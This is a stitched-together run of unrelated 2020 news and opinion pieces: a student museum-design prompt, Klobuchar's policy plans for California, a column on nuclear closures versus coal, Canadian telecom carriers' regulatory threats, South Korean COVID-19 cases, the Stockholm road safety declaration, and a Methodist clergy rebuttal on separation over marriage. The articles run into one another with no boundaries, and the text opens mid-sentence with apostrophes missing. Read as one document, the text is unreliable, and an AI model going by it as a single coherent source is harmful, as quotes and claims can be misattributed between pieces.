neighborhood project, made with fellow Bronx residents. Visitors to Inside Art have stations to make their own work and can collaborate with three other artists who have studios within the space. Dionis Ortiz, who describes his work as centered on light and how we create it, will enlist families in an installation that includes light bulbs they paint to express their identities. Nancy Saleme and Patricia Cazorla, an aunt-and-niece team, will work with children on The Shape of My Food, a sculptural installation connected not only to the joy of eating but also, Ms. Cazorla said, to subjects like land use and migrants rights. Mr. Rios wanted children to be exposed to the participating artists philosophies and activism. For the exhibition labels, the artists were challenged to write about their work as if they were explaining it to a 5-year-old, he said. The museum added questions: When have you felt left out? What do you find beautiful? Students, read the entire article, then tell us: What is your reaction to reading about the Inside Art exhibit? Would you be interested in visiting the museum? Why or why not? What parts would you be most interested in experiencing? What do you think makes a good museum? What kinds of experiences do you seek when you go to one? What allows you to connect with the exhibits? What do you think should be the purpose of museums? To entertain, inform or persuade? How do you think museums should relate to the neighborhood or community theyre in? What about the artists, historians or scientists whose work they feature? In Is This the Worlds Most Accessible Museum?, Alex Marshall visits a museum exhibit in England that was designed to be accessible to able-bodied and disabled people alike, with features like video screens at the perfect height for wheelchair users, visible exits for people with anxiety, a range of audio and visual guides, and exhibits people can touch. What kinds of design elements have you seen that benefit all visitors? Are there things that you think museums could do to be more accessible to people with disabilities, children and people who speak other languages? With all this in mind, how would you design your ideal museum if you had unlimited time and money? Where would it be located? What kind of museum would it be and what would make it unique? Who would you want to visit? How would you have visitors interact with the exhibits and what could you do to make them accessible to everyone? What rules would be in place, if any? Over all, what kind of experience would you want people to have there? Students 13 and older are invited to comment. All comments are moderated by the Learning Network staff, but please keep in mind that once your comment is accepted, it will be made public. Amy Klobuchar believes it will take an experienced politician with a history of working across party lines to get the bipartisan voter support she thinks the next president will need to bring the country together. For all of these things that are so critical to the future of Northern California, we cant just eke (out) that victory in the presidential election, the Minnesota senator told supporters in San Carlos in November. Were not going to shut people out, were taking them with us. Klobuchar touts herself as someone who has proved she can work with Republicans to get legislation passed, setting her apart from her more progressive rivals for the Democratic nomination. How we cover the candidates The Chronicle is examining how California would look if the major Democratic presidential candidates were elected and could implement their top policy priorities. Candidates' positions are taken from their websites, their campaign comments, and in some cases legislation they have sponsored in office. Here are the other installments in this series: Joe Biden, Mike Bloomberg, Pete Buttigieg, Bernie Sanders, Elizabeth Warren. All of The Chronicle's 2020 campaign coverage is at sfchronicle.com/politics. See More Collapse During an October debate, she called out Massachusetts Sen. Elizabeth Warren and Vermont Sen. Bernie Sanders for their support of a Medicare for All proposal that would eliminate private insurance and make the government responsible for all health care costs. The difference between a plan and a pipe dream is something that you can actually get done, she said. Klobuchar said her pragmatic approach to governing would bring more benefits to California and the nation than the wide-ranging plans and policies from her more liberal challengers, which she called more aspirational than realistic. I think to be a progressive, you have to make progress, she said in a tweet in May. Ive stood up for our shared beliefs, and Ive gotten stuff done, too. Heres how a Klobuchar presidency could affect California: Environment Klobuchars environmental policy starts with overturning nearly every action taken by President Trump, many of them already challenged in court by California. She would immediately get the country back in the Paris International Climate Agreement, strengthen the Clean Air Act and bring back fuel-economy standards set under the Obama administration, along with ending Trumps efforts to bar California from setting tougher rules. Susan Walsh/Associated Press Looking at Californias success with its carbon tax, Klobuchar says she would begin to limit the use of fossil fuels by moving to put a carbon pricing system in place that does not have a regressive impact on Americans. Her call for 100% net zero emissions by 2050 is in line with the states goals, and the senators plan to boost tax credits for businesses doing research on climate-change solutions and new ways to reduce greenhouse gases could be a boost for Californias tech industry. Not all of Klobuchars policies will get cheers from the state. Federal housing and infrastructure grants would go first to communities that have updated and promoted effective zoning rules to minimize climate impact. Thats another way of looking at what San Francisco state Sen. Scott Wieners SB50 bill would have required it called for removing many local barriers to denser housing construction near public transit and eliminating single-family zoning in wealthy suburbs. Wiener has failed three times to overcome loud opposition to the idea, most recently in January when the Senate voted it down. Jeff Chiu / Associated Press 2019 Klobuchars call for an import tax on carbon-intensive goods may help U.S. manufacturers forced to comply with this countrys strict rules, but it could boost prices for consumers. She also opposes a ban on fracking, setting her on the opposite side of many California environmentalists. Now Playing: Senator Amy Klobuchar joined the Chronicle Editorial Board ahead of the Nevada caucuses to talk about why she believes she is the best presidential candidate to unite the Democratic Party and what she would do if elected president. Video: Erika Betty Carlos Health care Klobuchars health care proposal calls for expanding former President Barack Obamas Affordable Care Act by allowing people to buy into a nonprofit public option, something she says will both cut the cost of insurance and eventually lead to universal health care. The senator also would increase subsidies for health insurance costs and allow Medicare to negotiate for lower prescription drug prices. She is also looking to expand Medicares dental, vision and hearing coverage, along with a commitment to spend federal research dollars on finding a treatment and moving toward a cure for Alzheimers disease. Klobuchars plan to focus federal money on fighting addiction and dealing with mental health concerns would be welcome news for San Francisco and other California cities struggling to deal with those problems. She would boost the number of beds available for mental health, alcohol and drug treatment by providing federal support to public agencies and nonprofit groups. The government would also back research into more effective treatment for substance abuse and mental health problems. Klobuchars other concerns sound similar to what San Francisco already is doing. She wants the government to choose treatment programs over jail for nonviolent drug offenders and provide federal support for drug and mental health courts. She would also work to ensure that police officers get training to deal with the mentally ill. Mario Tama / Getty Images 2018 Immigration The immigration plan for Klobuchar and every other Democratic candidate is simple: If Trump supported it, were reversing it. The only differences are in the details. Klobuchar would immediately start negotiations for a comprehensive immigration policy, which would include a pathway to citizenship for undocumented residents, agreement for security on the border and at ports of entry, and protection for the Dreamers, undocumented young adults who were brought to the country as children. She would issue an immediate executive order to end the separation of children from their parents at the border and ensure that families are quickly reunited. Klobuchar also would cut the size of the immigration detention system and expand alternatives to detention. She would shift money from the Immigration and Customs Enforcement agencys removal and enforcement operations to support services for children seeking asylum and anti-trafficking efforts. Michael Short / Special to The Chronicle 2019 Infrastructure and transportation Infrastructure would be Klobuchars top budget priority, and she wants to get much of the work done quickly. California is still a car culture, so Klobuchars plan to put $650 billion into infrastructure improvements, including repairing roads, highways and bridges, would be good news for drivers. She also wants to increase investment in public transit, especially in low-income communities. Priority for federal transportation grants would go to transit projects, first- and last-mile connections, and bicycle and pedestrian improvements. Revitalizing railroads is also on her list, with plans to improve freight lines, extend high-speed rail into more communities and expand Amtrak service in rural communities. A focus on rural America is a huge part of Klobuchars campaign, and it could have an effect on Californias agriculture-oriented interior. She would put U.S. money into the repair and improvement of rural bridges that arent part of the federal highway network and upgrade crumbling levees, which could include those in Californias delta. Anthony Behar / Sipa USA Taxes and finance Klobuchar would pay for many of her plans by tossing out many, but not all, of Trumps 2017 tax changes. Income tax rates would return to where they were, but only for taxpayers in the top two brackets. The corporate tax rate would rise to 28%, still lower than the 35% before 2017. Although Klobuchar is not proposing a wealth tax on the richest Americans, their tax bills would still go up. Capital gains tax rates would rise for those making more than $200,000, the income-tax rate would go up an unspecified amount for those in the top bracket, and people with annual incomes of more than $1 million would have to pay a minimum tax of at least 30%. She also would use a new series of bonds to finance specific programs. Move America Bonds, Build America Bonds and clean-energy bonds would generate quick cash to begin needed work. An $8 billion investment from the Treasury, for example, would support over $200 billion in infrastructure projects over 10 years. John Wildermuth is a San Francisco Chronicle staff writer. Email: jwildermuth@sfchronicle.com Twitter: @jfwildermuth War correspondent Gwynne Dyer says they should worry more about carbon and climate change. Gwynne Dyer, who usually is known for his books and articles about war and conflict, writes about a different kind of war that's taking place in Germany and Japan, what he calls the War on Rationality. That's what he calls the two nations' decisions to close their nuclear plants and keep burning coal. Coal, as everybody knows, is by far the most damaging source of energy we use, in terms of both the harm to human beings and the impact on the climate. Its twice as bad as natural gas, and dozens of times worse than solar or nuclear or wind power. Yet both Germany and Japan have been building lots of new coal-fired power stations. Why? Would it upset you if I said its because they are, despite their apparent sophistication, superstitious peasants at heart? Well, go ahead and get upset. Emergency alert sent out accidentally, 12 January 2020/Screen capture Strong words, given that there are lots of reasons not to love nuclear power plants in your backyard. They can be scary and it doesn't help when people accidentally send out emergency alerts like they did recently in Ontario, where I live. Germany still gets more than a third of its energy from burning coal, and most of it is ultra-polluting lignite or brown coal. If most of Germanys seventeen nuclear power plants had not been shut down after 2012 (the last are scheduled to close within two years), then at least half that coal would not have been needed. The nuclear reactor closures were triggered by the Fukushima 'incident', as he calls it, avoiding the words calamity or disaster because that was really the tsunami that was the disaster, killing 19,000 people, not the reactors themselves, which he claims have killed nobody. But then all fifty Japanese reactors were shut down, and they are only slowly re-opening; and in the meantime, they recently announced that they would be building 22 new coal-fired power plants. This is deeply irresponsible behaviour, and the worst thing is that the decision-makers know it. They are just deferring to public opinion, which in this instance is entirely wrong. The superstitious peasants should really be frightened of global warming, for which coal-burning is a major driver, not of relatively harmless nuclear power. Dyer acknowledges that nuclear plants are expensive, take a long time to build, and there is strong case for not building any more of them. But there is no case for shutting down existing nuclear stations and burning more coal to make up the difference. That is so stupid it verges on the criminal. We don't have time for this CC BY 2.0. Bruce Nuclear Power Plant/ Wikipedia Bruce Nuclear Power Plant/ Wikipedia/CC BY 2.0 It is such a difficult issue. I have made a similar point. The electricity supply in Ontario, Canada, where I live, is 94 percent carbon free, thanks to Niagara Falls and three big nuclear power plants built in the seventies and very expensively rebuilt starting in the nineties, and continuing to this day. Electricity is expensive in Ontario, mainly because of the C$38 billion in debt run up by the utility building and maintaining the plants. But they exist, and as I noted in a previous post about maintaining them while rejecting new nukes, Living as I do in the Province of Ontario, I am thankful for the benefits of nuclear power that is carbon free. I am glad that they are continuing to fix the reactors that we have, even though it is expensive. This is probably good policy everywhere: Fix the nukes we have instead of closing them, they are a sunk carbon cost. But we shouldn't be wasting time talking about new ones. We don't have it. Dyer concludes with a reminder about our rapidly diminishing carbon budget that is being eaten up by coal and gasoline: But nobody is as crazy as the Germans and the Japanese, who have been shutting down nuclear plants and replacing them with coal-fired plants. France will close its last coal-fired station in 2022, and Britain will do the same in 2025, but Germany says 2038 and Japan just says eventually. Thats far too late: by then the die will be cast, and the world will be committed to more than 2 degrees C of warming. Other voices agree. Digging lignite in Germany/ Getty Images Writing in the New York Times, Jochen Bittner of Die Zeit notes that the Germans are not doing much at all to develop alternatives to nuclear power. In fact, they are actively protesting against wind turbines and new power corridors from the coast to the cities. According to official calculations, close to 3,700 miles of new power lines are required to make Germanys Energiewende, or energy revolution, work. By the end of 2018, only 93 miles had been built. Bittner notes that we have learned a lot more about the severity of climate change since 2012 when the decision was made to close the reactors, and that "Ms. Merkel recognized recently that 'climate change is happening faster than we had thought a couple of years ago.'" But nobody is changing their minds. Lloyd Alter/ seen in Prince Edward County/CC BY 2.0 Back in Ontario, everybody hates wind farms too, and the current idiot running the Province is pulling down turbines that are already standing. But at least we have nukes and Niagara. What are they going to do in Germany and Japan? REUTERS Bell and Telus have threatened the CRTC of major investment cuts should there be regulatory changes by mandating MVNOs. Industry analysts say its a page from the playbook and carriers will adjust their businesses to please investors. The Canadian Radio-television and Telecommunications Commission (CRTC) is currently undergoing a regulatory hearing on whether to mandate Mobile Virtual Network Operators (MVNOs), wholesale service providers, which started on February 18. On February 19, Bells CEO Mirko Bibic said if regulatory conditions change there will be an impact on capital expenditure or on expenses (salaries, advertising, retail experience) in order to deliver to shareholders who provide us with $4 billion in capital. They expect a return, Bibic said. We need to grow that dividend, if we dont deliver those dividends then we are not going to get the $4 billion the next year, and the year after that. On February 20, based on a board resolution, Telus CEO Darren Entwistle told the CRTC that it would cut 5,000 jobs and $1 billion in investment over the next five years. The companys executive also said that it would reduce philanthropic spending. Rogers is set to appear on February 26, but during its Q4 2019 earnings call, the companys CEO Joe Natale said this capital and this investment is at risk if the right regulations are not put in place. We do not have the right regulation. As we enter the world of 5G, regulatory certainty is critical to investment. We need regulation that encourages investment and fuels innovation. Punitive regulation will slow, or worse, stall 5G deployment, Natale said. Dave Heger, an analyst at Raymond James, said in an interview that the carriers will do whatever possible to maintain their dividend to pay back shareholders. There has been precedent when there have been unfavourable regulatory decisions that they will make cuts in investment in their network to offset it, he said. Its also to send a message of hey were out here making huge investments and if youre going to dramatically cut what we can give... there is a return on investment decision that has to be made. Story continues Heger offered an example: Bell announced it would reduce its broadband internet buildout for smaller towns and rural communities by 20 per cent after the CRTC decided final rates in August that smaller players could pay to access the high-speed networks of larger telecom companies. Threats have been uttered before Anthony Lacavera, the founder of Wind Mobile and Globalive Capital, believes the carriers could slow down 5G rollout and could make investment cuts, but said the rhetoric isnt new compared to whats been said before. You could go to the transcripts of the hearings with respect to my wireless carrier [Wind Mobile], the exact same arguments were being made, Lacavera said. In fact... the next time I see [Bibic], Im going to joke with him and say did you just dust off the old speech? It sounds familiar, Lacavera said. Michael Geist, a law professor at the University of Ottawa, said in an interview that historically, threats from telecom companies are very common and, typically pretty empty. He added that the companies will probably have to adjust if there is new competition in the marketplace. Geist said companies are always laying employees off and that isnt driven by CRTC policies. The company responds to any number of market developments. Theres no question to that, but threats to investment, threats to employment, threats to dividends are more playbook, he said. And these companies have proven themselves willing to go back to the playbook, again and again. Geist explained a similar scenario was played out when U.S.-based telecom carrier Verizon tried to enter the Canadian market in 2013. He said the major incumbent carriers went on an immediate war footing to put out op-eds, lobby the government and engage in widespread attempts to convince the public that [Verizon] was a threat to investment and to the economic well-being of Canadian companies. In the end, Geist said Verizon took a look at the noise and felt it wasnt worth entering the market. Yahoo Canada has been owned by Verizon Media since 2017. Foreign investors get nervous when major regulatory changes get made During his testimony, Bibic also said foreign investors were concerned about investing in Canada. [An investor asked me] why should we invest in your country? Thats kind of scary. Thats why Ive said over and over again that these decisions inevitably affect investment, Bibic said. Heger said foreign investors typically found Canadian telecom attractive for investments because there are three stable carriers that have a premium valuation in terms of their growth profile. Investors are worried that if things change dramatically if the regulatory regime gets more restrictive or MVNOs come in, it could change that nature, he said. Download the Yahoo Finance app, available for Apple and Android and sign up for the Yahoo Finance Canada Weekly Brief. South Korea reported 52 new cases of the new coronavirus Friday, bringing the total number of infections in the nation to 156, with the potentially fatal illness spreading fast across the country. The number of COVID-19 infections here has almost tripled in just three days, with most new infections traced to church services in the southeastern city of Daegu. Of the 52 new cases, 41 are in Daegu, 300 kilometers southeast of Seoul, and the neighboring North Gyeongsang Province. Another three were reported in Seoul, the Korea Center for Disease Control and Prevention (KCDC) said in a statement. The spike of infections in Daegu and several cases in Seoul, where routes of infections are not immediately traceable, have prompted health officials to declare that COVID-19 has begun spreading locally. The KCDC said two new cases were reported in South Gyeongsang Province. In a sign that the virus may broadly spread nationwide, six provinces, including Gyeonggi, Jeju, Chungcheong and North Jolla, each reported one case. Of the 52 new cases, 39 are linked to the Shincheonji Church of Jesus in Daegu, where the 31st patient, the country's probable "super spreader," attended worship services, the KCDC said. A 61-year-old South Korean woman, who tested positive for the virus earlier this week, attended worship services at the church on Feb. 9 and this past Sunday. KCDC Director Jung Eun-kyeong told reporters Thursday that the agency is uncertain whether the woman, known as the 31st patient, was a "super spreader" of the virus but asked 1,001 members of the church to self-isolate to stem the spread of the virus. The government decided to designate Daegu and neighboring Cheongdo as "special management zones," following the spike in the number of infected people and the nation's first death from the virus. (Yonhap) Share this article Whatsapp Facebook Twitter Linkedin Elly Burhaini Faizal (The Jakarta Post) Stockholm Fri, February 21, 2020 14:21 691 7f440ff09e92db75a02bbad2065ce598 1 World Stockholm-Declaration,road-safety,United-Nations,development,Transportation Free Delegates of 140 countries have adopted the Stockholm Declaration as the final outcome document of the Third Global Ministerial Conference on Road Safety: Achieving Global Goals 2030, which was held in Stockholm and ended on Thursday. The declaration aims to strengthen the commitment to achieve global goals by 2030 and emphasize countries shared responsibility. Reaffirm our commitment to the full implementation of the 2030 Agenda, recognizing the synergies between the SDG [Sustainable Development Goal] policy areas, as well as the need to work in an integrated manner for mutual benefits, the declarations first of 18 point reads. Swedish Infrastructure Minister Tomas Eneroth said the Stockholm Declaration had forward-looking elements, in that it focused on action and how countries could reach their 2030 targets. The declaration clearly connected road safety to the Agenda 2030, and there was an interdependence between the SDGs and road safety, he went on. Read also: UN calls on nations to make roads safer Road safety is directly and indirectly connected to several other SDGs and targets, and when we work to ensure road safety, we also contribute to development, equity, gender equality, the fight against climate change as well as creating sustainable cities for all citizens and road users, Eneroth told journalists on the sidelines of the conference. The Stockholm Declaration was built on the Moscow Declaration (of 2009) and Brasilia Declaration (of 2015) and prior UN General Assembly and World Health Assembly resolutions, the minister further explained. Some of the declarations recommendations were based on input from an independent academic expert group. We recognize our shared responsibility and call on member states to contribute to reducing road traffic deaths by at least 50 percent from 2020 to 2030, the declaration further says. Last week, the Swiss government decided to expand its ambition during a meeting in Sweden to reduce road traffic deaths by 50 percent to 2030 and, citing this as an example, Eneroth said he hoped other countries would follow suit. At least 50 percent [...]. If we are serious about halving the number of deaths on our roads by 2030, we need a holistic perspective and include road safety and a safe system approach as an integral element of land use street design, transportation system planning and governance, he said. According to official data, road traffic injuries rank eighth among the leading causes of death globally and are the number-one killer of people aged between 5 and 29 years. More than 1.35 million people die and up to 50 million are severely injured in road accidents every year. According to the World Bank, reducing road traffic deaths and injuries by half could add 7 22 percent to per-capita gross domestic product in five selected low- and middle-income countries over the next 24 years. As a safe system approach, Vision Zero a multinational road traffic safety project to achieve a highway system with no fatalities or serious injuries from road traffic has been implemented in Sweden for 15 years after its first introduction in the 1930s. It had reduced fatalities in the country by 80 percent during, Eneroth said. Looking at Swedens experience in road safety, Eneroth said, human error would always be a factor, but technology could be a determining factor in whether accidents would claim human lives. We need to encourage and incentivize the development, application and deployment of existing and future technology and other innovations to improve all aspects of road safety from prevention to emergency response and trauma care, the minister said. There are some well-known and proven behavioral road safety measures that could save hundreds of thousands of lives annually; unfortunately, many of these measures are still not being implemented in most countries. We need to focus on speed management, including the strengthening of law enforcement to prevent speeding and mandate a maximum road travel speed of 30 kilometers [per hour] in areas where vulnerable road users pedestrians, cyclists, motorcyclists and public transportation users -- and vehicles mix in a frequent and planned manner, Eneroth asserted. During the two-day conference, delegates had programs with plenary discussions where they had ministers and senior officials discussing the lessons learned from A Decade of Action for Road Safety 2011 2020, which will expire at the end of this year, and setting priorities for the next 10 years. On Wednesday, Bloomberg Philanthropies announced a doubling of its support for global road safety, committing another US$240 million from 2020 to 2025 to save 600,000 more lives and prevent 22 million injuries in low- and middle-income countries around the world. To delegates, Zoleka Mandela, granddaughter of the late Nelson Mandela, shared her experience as a global advocate and campaigner on road safety since the start of the UN Decade of Action for Road Safety in 2011. The World Health Organizations director for social determinants of health, Etienne Krug, said there had been progress in the prevention of traffic deaths and injuries in Southeast Asian countries, such as progress on some legislative issues in the Philippines and Cambodia. Taiwan and India also showed some achievements. There is progress, but the road is still very long. We need much more enforcement of existing legislation; continue to improve the laws. We also need to make progress on the quality of vehicles, Krug said. The organizers of a meeting of conservative United Methodists planning for a denominational split have published a response to critics of the meeting held Jan. 25 at Clearbranch United Methodist Church in Trussville. The Rev. Paul Lawler, pastor of Christ United Methodist Church in Shelby County and president of the Wesleyan Covenant Association of North Alabama, published a response to a column by Arab First United Methodist Pastor Steve West. Lawlers blog post was co-signed by 55 other United Methodist clergy. As the expected vote on a possible split in the United Methodist Church approaches in May at the next meeting of the General Conference, clergy in Alabama have been staking out positions and explaining where they stand. Here is the statement Lawler and others published today on the New Methodist Movement blog: A Response to Steve Wests article, Why Im not leaving the United Methodist Church On Jan. 25, a large gathering of United Methodist lay-people and clergy took place in the Birmingham area at Clearbranch United Methodist. The theme of the day was, Why the Best Days of Methodism are Ahead of Us! The purpose of the gathering was to inspire hope for the future of a new Methodist movement. The day featured guest speaker Chris Ritter, and delegation members from multiple annual conferences from around the southeast. You can watch the video of the gathering at this link. Here is the United Methodist News Service article on the gathering: Traditionalists Event Draws Big Crowd. While the gathering did involve many who are in leadership in the Wesleyan Covenant Association, the gathering at Clearbranch was not a WCA event. In addition, the 60 pastors Steve refers to in his article are not all a part of the WCA. The gathering at Clearbranch was made up of traditionally orthodox lay-people and clergy, which transcends the constituency of the WCA. While the event drew many pastors together, the critical masses of attendees were lay-persons from numerous United Methodist Churches. Following the event, some pastors posted their impressions of the gathering. Apparently, when approximately 1,000 United Methodists gather to consider the next steps, in light of the possible passage of the Protocol of Reconciliation & Grace through Separation, the movement will not be without its critics. Therefore, this article is provided to correct misinformation being propagated. Rev. Steve West wrote a recent article. Steve is the pastor of Arab First United Methodist Church in Arab, Alabama. Steves article was published by Al.com at Steves request and also by United Methodist News Service, along with it being re-posted by several blog sites around the country. You can read his article here. Steve is a colleague in ministry, and we have had good interactions with him over the years. While we love and appreciate Steve as a colleague, there are some things shared in his article that are misleading. We simply want to give greater clarity to many of the things he stated or implied: Here are 9 Points of Clarification we wish to Share in Response to Steve Wests Article: 1. The Statement regarding the current human sexuality debate in the United Methodist Church. Steve states in his article, The debate is incorrectly framed as being about Biblical authority when it is really about culture wars. For the author to declare the debate in the United Methodist Church, is really about culture wars reflects a deep misrepresentation of the truth. While all of us are aware of the tensions in our culture regarding numerous issues, our debate and division in the United Methodist Church is not rooted in culture but in theology (And a failure of governance, which will be addressed later). A good working definition of theology is simply this: What we believe as the Church and why; or, as Webster put it, the study of God and of Gods relation to the world. United Methodist theologian after theologian after theologian have all declared a clear, biblically rooted understanding of human sexuality, which includes admonitions to not redefine the covenant of Christian marriage. Thus, our debate is, in fact, rooted in theology and biblical authority, not culture. There is no biblical text which supports the redefining of marriage as being between two men or two women. A revisionist perspective on human sexuality is a value of western culture, and not reflected in the Scriptures, 2,000 years of Christian tradition, the Catholic Church, the Eastern Orthodox Church, or through the majority of Christians around the world. We would submit that we are not the ones taking our cue from the culture, but those who wish to enable or support changing the definition of Christian marriage in the church are. 2. The Statement made regarding potentially joining the new Methodist denomination: I feel it would disregard the vows I made at ordination. I promised I would be faithful to the UMC and uphold its discipline. I have done so even if others haventI feel leaving the UMC would be hypocritical We understand the author is speaking for himself, but we must remember the author is writing this piece in the context of a response to the Clearbranch meeting, as described by Greg Garrison of Al.com. The implied inferences need to be addressed. The crisis in the United Methodist Church is not just theological, but constitutional. Our present crisis is rooted in the failure of Bishops and leaders who have not upheld the vows they made at their ordination. This has led to chaos in the governance of the United Methodist Church. If there had been no crises of governance, we would not be where we are today. In the words of United Methodist theologian, Dr. David Watson, who writes regarding Steves article via Twitter, Like so many commentaries on the United Methodist Church, the article misrepresents the reason for division. It is not disagreement. It is that we have abandoned our mechanisms for resolving disagreement. Our governance has failed, and it is no longer reparable. As clergy, we all took vows to uphold the United Methodist Book of Discipline. If the proposed Protocol of Reconciliation & Grace through Separation passes at General Conference 2020, the denominational iteration known as the United Methodist Church will vote to redefine marriage and officially ordain same-sex partnered clergy. Therefore, for Christians whose convictions will not allow us to redefine marriage, it would be hypocritical for clergy to take a vow to serve in a denomination that redefines marriage when our conscience cannot support it. Where you feel, leaving the UMC would be hypocritical, we feel that if we stayed with the present iteration of the UMC, that we would be hypocritical. We cannot take a vow to uphold an ecclesiology that endorses patterns that we believe are in direct conflict with Gods will for humanity, as expressed through Scripture. You are okay being in a denomination that does choose to do so, and that is why you can stay and not be a hypocrite. We feel this point needed to be expressed with a greater degree of clarity for persons who have read your article. 3. The Statements:I am centrist and I am traditional and orthodox. The author stakes out the claim that he is a theological centrist, and then later in the article, stakes out the claim that theologically he is traditionally orthodox. It is worth noting that centrist and progressives, at times, work with multiple sets of definitions of terms. We need to clarify our definitions, lest we confuse lay-persons or even clergy in the UMC. We would like to go on record with the set of definitions we are utilizing. Theological Progressive: Progressive Christianityis a post-liberal movement within Christianity that seeks to reform the faith via the insights of post-modernism and a reclaiming of the truth beyond the verifiable historicity and factuality of the passages in the Bible by affirming the truths within the stories that may not have actually happened. Progressive Christianity represents a post-modern theological approach and is not necessarily synonymous with progressive politics. It developed out of the Liberal Christianity of the modern era, which was rooted in enlightenment thinking (Source: Wikipedia). Theological Centrist:A person who claims the classic creeds of Christianity, but is willing to be a part of a denomination that redefines Christian marriage. They may or may not be theological universalists or inclusivists, which underpins a lack of emphasis on mobilizing the church to fulfill the Great Commission. You can read one United Methodist theologians concerns regarding Pastors who become or are, theological centrist here. Theologically Traditionally Orthodox: a person who holds to the classic definitions of Christianity, the exclusive claims of Christ regarding salvation, as well as Christian marriage being defined as being between one man and one woman. The use of these words or phrases: The use of incendiary language through words or phrases like: the Schism being planned, fundamentalist, southern secessionism, and This has evolved past social issues to schism. We would like to ask you, as well as others, to dial down the use of incendiary language. The gathering at Clearbranch was not schismatic.The United Methodist Church, which you expressed you would be faithful to through your vows, has officially engaged in the process of placing legislation before the 2020 General Conference for the creation of multiple expressions of Methodism. The Protocol for Separation has been worked on by Bishops and leaders from a wide variety of constituencies within United Methodism. In other words, consideration of a new Methodist movement is properly before the church according to her polity, which we all vowed to uphold. We are working within that framework. When using phrases like the Schism being planned,it is misleading and just plain wrong. The gathering of Clearbranch was rooted in seeking to love and shepherd people well as we navigate the change that is potentially before us as a people called Methodists. It was rooted in caring for people in light of change on the horizon. It was Pastor Chris Ritter who recently appealed to all of us to, Think Methodist mitosis rather than scandalous schism. Mitosis is cell division that expands life, increases health. Wise division with multiplication in mind is essential gospel practice. Angry ripping (the literal meaning of schism) drains all contestants. There is no schism being planned. There is; however, a formal plan coming before GC 2020 that may be designed to birth new expressions of Methodism. We are not fundamentalists. We request that centrist and progressives stop labeling everyone who disagrees with their vision of the church as fundamentalists. Please take the time to read this link. The use of the term southern secessionism.We are a global church. Consider the voices of our sisters and brothers in Africa. Consider United Methodist leaders serving in Colorado or Ohio or New Jersey who express that they cannot live in a church held captive by constitutional chaos and are determined to redefine Christian marriage. We believe the use of the phrase southern secessionism is a poor attempt to manipulate by playing off populist stereotypes. The phrase carries negative connotations from a dark period in U.S. history. Did you mean to impugn the character of approximately one thousand of your United Methodist sisters and brothers who gathered at Clearbranch in this way? Is this how you feel toward Catholics, and the overwhelming majority of Christians around the world whose convictions concerning the definition of marriage remain rooted in the biblical tradition? You spoke in your article on the importance of grace being expressed toward all people. Are you expressing grace and love toward all people when you call your sisters and brothers in Christ, schismatic, fundamentalist and southern secessionist? Do these words reflect what you profess when you say, Our divided culture needs a witness to love that transcends our differences, not giving in to the prevalent us vs. them and either/or mentality? Our denominations legislation related to all of this is titled, Protocol of Reconciliation & Grace through Separation. Lets dial down the incendiary language and remember to manifest grace toward one another through this process. 5. The Statement: Wesley said that separating from a body of living Christians with whom we were before united is a grievous breach of the law of love, and hence it is only when our love grows cold that we can consider separation. You are quoting John Wesleys sermon, On Schism. You quote Wesley accurately where he supports your intended point, but you failed to quote Wesley from the same sermon when Wesley does not support the point you were attempting to make. John Wesley goes on to say in the same sermon, Yet if I was not permitted to remain therein without omitting what God requires me to do, it would then become meet and right, and my bounden duty, to separate from it without delay . To be more particular: I know God has committed to me a dispensation of the gospel; yea, and my own salvation depends upon preaching it: Woe is me if I preach not the gospel. If then I could not remain in the Church without omitting this, without desisting from preaching the gospel I should be under a necessity of separating from it , or losing my own soul. In like manner, if I could not continue united to any smaller society, Church, or body of Christians, without committing sin, without lying and hypocrisy, without preaching to others doctrines which I did not myself believe, I should be under an absolute necessity of separating from that society . Through the work of the protocol, the post-separation UMC plans to make same-sex weddings a rite within her ecclesiology. We believe that serving in a denomination that chooses to change the definition of marriage from one man and one woman to include two men or two women, is a grievous sin that violates Scripture. Because of our conviction, it becomes implausible to preach Repent and believe the gospel while at the same time taking ordination vows to uphold an ecclesiology that is in direct conflict with the call of repentance that is necessary for faithful proclamation of the gospel. According to the sermon you quoted, Wesley did warn against schism, but he went on in that same sermon and stated there are times when it is right to separate. 6. The Statement:I believe in grace. Do our churches rebuke people who are divorced and remarried, not allowing them to serve in ministry? Im not saying we should hold remarried people in judgment, not at all. Im saying that if we offer grace in one situation addressed in scripture and not in another, its clearly not about Biblical authority but about culture wars. I cant be a part of a new movement that insists LGBTQ people cant be Christians. I know too many that are. The reasoning here is pure conjecture. Who is considering withholding grace toward anyone? Who is considering withholding grace toward divorced people, LGBTQ people, or remarried people? We are certainly not. All people are, and will continue to be, welcomed into the doors of our churches. We, too, believe in grace. Grace that forgives. Grace that redeems. Grace that empowers the living of a transformed life through the gospel of Jesus Christ. We offer to all people the invitation, Repent and believe the gospel because Gods grace is open to all people. 7. The Statement:Jesus didnt even mention the issues that divide us, Again, this is misleading. Jesus did speak to the issue of marriage, and He did so more than once. Jesus could have redefined what marriage is in a Roman culture that involved all types of sexual debauchery; but instead of redefining it, He chose to reinforce its definition: JESUS: Havent you read, he replied, that at the beginning the Creator made them male and female, and said, For this reason a man will leave his father and mother and be united to his wife, and the two will become one flesh? So they are no longer two, but one flesh. Therefore what God has joined together, let no one separate. Matthew 19:4-6 (NIV) Christian marriage, and the deeper reality it signifies, has been defined by God through Scripture, by the red letters of Jesus Christ, and by the apostles. As already noted, United Methodist theologians have written thought- provoking articles on the biblical rooted view of human sexuality. Concerning our governance and the failure of Bishops and leaders in keeping their ordination vows, Jesus spoke clearly in the Sermon on the Mount about keeping ones vows (See Matthew 5:33-37). To suggest that Jesus didnt even mention the issues that divide us is simply misleading. 8. The Statement: but theres something else that he most definitely did talk about our unity, for thats what Jesus prayed for in John 17. We choose to be in unity with the great mass of Christians all over the world who interpret Scripture to be authoritative and agree on traditional definitions of sexual morality and Christian marriage. Please take the time to read this link: When Unity at All Cost is too Costly. 9. The Statement: there are so many positive things to be lost by leaving. Together we have created the United Methodist Committee on Relief, the Upper Room, the Walk to Emmaus, the Academy for Spiritual Formation, Africa University, and all sorts of regional treasures like Sumatanga and the Childrens Home. If one takes the time to watch the video of the gathering at Clearbranch, we have gone on record in the panel discussion that a new Methodist movement would continue to support United Methodist Committee on Relief(UMCOR); as well as United Methodist Childrens Homes. We are Methodists who remain passionate for involvement in Walk to Emmaus, and the Academy for Spiritual Formation and support mission to our African sisters and brothers. To infer that a new Methodist movement would forsake these things reflects false assumptions and misinformation. Before we close, we would like to call on centrist and progressive pastors to stop misrepresenting the traditionally orthodox within their own denomination and within their own congregations. Your misrepresentations are disingenuous at best. United Methodist lay-people are educated and smart, and will ultimately discern when less than accurate and incendiary statements are being made. 